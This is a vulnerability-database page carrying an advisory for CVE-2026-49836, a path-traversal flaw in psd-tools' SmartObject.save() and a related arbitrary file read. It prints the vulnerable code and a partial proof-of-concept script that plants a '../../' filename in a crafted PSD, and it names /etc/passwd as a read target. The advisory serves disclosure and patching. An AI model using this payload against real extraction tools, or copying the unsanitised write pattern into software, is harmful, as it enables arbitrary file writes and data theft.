🛡️ CVE-2026-49836 — psd-tools

⚪ Unknown ✅ No Known Exploit CWE-22 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

psd-tools vulnerable to arbitrary file write via smart-object filename

# psd-tools: arbitrary file write/read via smart-object path traversal

Summary

In psd-tools (all releases exposing the SmartObject API through v1.17.0), SmartObject.save() writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted .psd can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or ../-traversing), outside its intended output directory.

A secondary issue in SmartObject.open() for external-kind smart objects allows the attacker-controlled fullPath descriptor to be used as an arbitrary file read path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in v1.17.1.

Details

Write path — SmartObject.save() (primary)

src/psd_tools/api/smart_object.py:170-179 (tag v1.17.0):

```python

def save(self, filename: str | None = None) -> None:

if filename is None:

filename = self.filename # untrusted, straight from the file

with open(filename, "wb") as f:

f.write(self.data) # attacker-controlled bytes

```

self.filename comes from the file with no validation — the filename property (:62-67) returns self._data.filename, set by the linked-layer parser at src/psd_tools/psd/linked_layer.py:100 (read_unicode_string(fp)). There is no basename, no absolute path rejection, and no .. filtering; the written contents (self.data) are likewise from the file, so the attacker controls both destination and content.

Read path — SmartObject.open() / .data for external kind (secondary)

For kind == "external", save() read file content via the data property, which called open() with no external_dir constraint. The fullPath descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause save(directory="/safe/out") to read an arbitrary readable file (e.g. /etc/passwd) and write its contents to the output directory.

Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

```bash

pip install psd-tools==1.17.0

python poc.py

```

poc.py builds two PSDs from the project's own placedLayer.psd fixture (included as base.psd), differing only in the embedded smart-object name — control is a bare basename, exploit is ../../PWNED-psd-tools-poc.bin — then extracts each like a consumer would:

```python

import os, shutil, tempfile

from psd_tools import PSDImage

from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"

NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):

psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))

uuid = next(l.smart_object.unique_id for l in psd.descendants()

if l.kind == "smartobject" and l.smart_object.kind == "data")

for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):

for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:

if item.uuid.strip("\x00") == uuid:

item.filename, item.data = name, MARKER

psd.save(out)

def extract(psd_path, outdir, watch):

psd = PSDImage.open(psd_path)

before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}

cwd = os.getcwd(); os.chdir(outdir)

try:

for l in psd.descendants():

if l.kind == "smartobject" and l.smart_object.kind == "data":

l.smart_object.save()

finally:

os.chdir(cwd)

after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}

return sorted(after - before)

def main():

tmp = tempfile.mkdtemp(prefix="poc_")

try:

escaped = {}

for tag, name in NAMES.items():

psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)

so = next(l.smart_object for l in PSDImage.open(psd).descendants()

if l.kind == "smartobject" and l.smart_object.kind == "data")

print(f"[{tag}] parsed embedded name = {so.filename!r}")

outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)

written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)

esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc

for w in written:

print(f"[{tag}] wrote {w} {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")

ok = (not escaped["control"] and escaped["exploit"]

and all(open(w, "rb").rea

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs no privileges on the target. A user must actively cooperate. Rated impact: confidentiality low, integrity low, availability none.

Weakness class

CVE-2026-49836 is classified as CWE-22: Path Traversal. A file path built from user input is not confined to the intended directory, letting an attacker reach files elsewhere on the filesystem.

Affected software

CVE-2026-49836 is recorded against 1 package.

  • psd-tools (fixed in 1.17.1)

Timeline and source

Published on 9 July 2026 and last revised on 13 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
CWE CWE-22
Public Exploit ✅ No
Source OSV
Published 2026-07-09
Updated 2026-08-12
Modified 2026-07-13
Fix URL N/A

Affected Packages

Software From version Fixed in
psd-tools 1.17.1

Similar Threats

Free Vulnerability Check

Is your site affected by CVE-2026-49836?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-49836 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.